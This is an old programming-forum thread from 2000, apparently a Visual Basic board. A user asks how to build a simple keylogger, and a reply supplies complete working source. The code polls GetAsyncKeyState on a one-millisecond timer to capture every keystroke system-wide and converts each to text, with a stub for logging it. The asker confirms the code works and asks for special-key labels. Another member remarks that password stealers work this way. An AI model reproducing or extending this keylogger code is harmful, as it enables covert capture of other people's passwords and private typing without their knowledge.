|
-
Aug 21st, 2000, 07:17 PM
#1
Thread Starter
Addicted Member
Hi,
Could someone please help me know how to make a simple key logger, if anyone knows of an example with source code it would be much appreciated.
Thanks very much
Hurgh
-
Aug 21st, 2000, 07:45 PM
#2
This code was written by Aaron Young
Code:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Private Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
Private Const VK_SHIFT = &H10 'Used by Win9x
Private Const VK_LSHIFT = &HA0 'Used by NT
Private Const VK_RSHIFT = &HA1 'Used by NT
Private Sub Form_Load()
Dim iKey As Integer
'First flush the Buffer of any residual key presses
For iKey = 0 To 255
While GetAsyncKeyState(iKey)
Wend
Next
'Need a Very Low Interval to Ensure the Keys are Captured in the Correct Order
Timer1.Interval = 1
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
Dim iKey As Integer
Dim iAsc As Long
Dim bKeys(255) As Byte
For iKey = 1 To 255
'Use GetAsyncKeyState to Monitor Keypress From Anywhere in the O/S.
If GetAsyncKeyState(iKey) And iKey <> VK_LSHIFT And iKey <> VK_RSHIFT And iKey <> VK_SHIFT Then Exit For
Next
If iKey < 256 Then
'Get the Current Keyboard State For the Shift Keys Etc..
Call GetKeyboardState(bKeys(0))
While GetAsyncKeyState(iKey)
'Wait for Key to be Released
Wend
'Conver the Key to it's ASCII Equivilant
Call ToAscii(iKey, 0&, bKeys(0), iAsc, 0&)
If iAsc Then
'Store Keypress to Log Here
Debug.Print Chr(iAsc);
End If
End If
End Sub
-
Aug 21st, 2000, 07:59 PM
#3
Thread Starter
Addicted Member
Thanks for the help it works well,
just one last thing,
can it be made to include if the user preses the insert key to display [Insert] and etc for the rest of the special keys?
Thanks
Hurgh
-
Aug 21st, 2000, 08:12 PM
#4
Fanatic Member
I've seen aol password stealers that work this way.
-
Aug 21st, 2000, 08:25 PM
#5
Thread Starter
Addicted Member
Sorry Not a PW hacker.
Hurgh
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|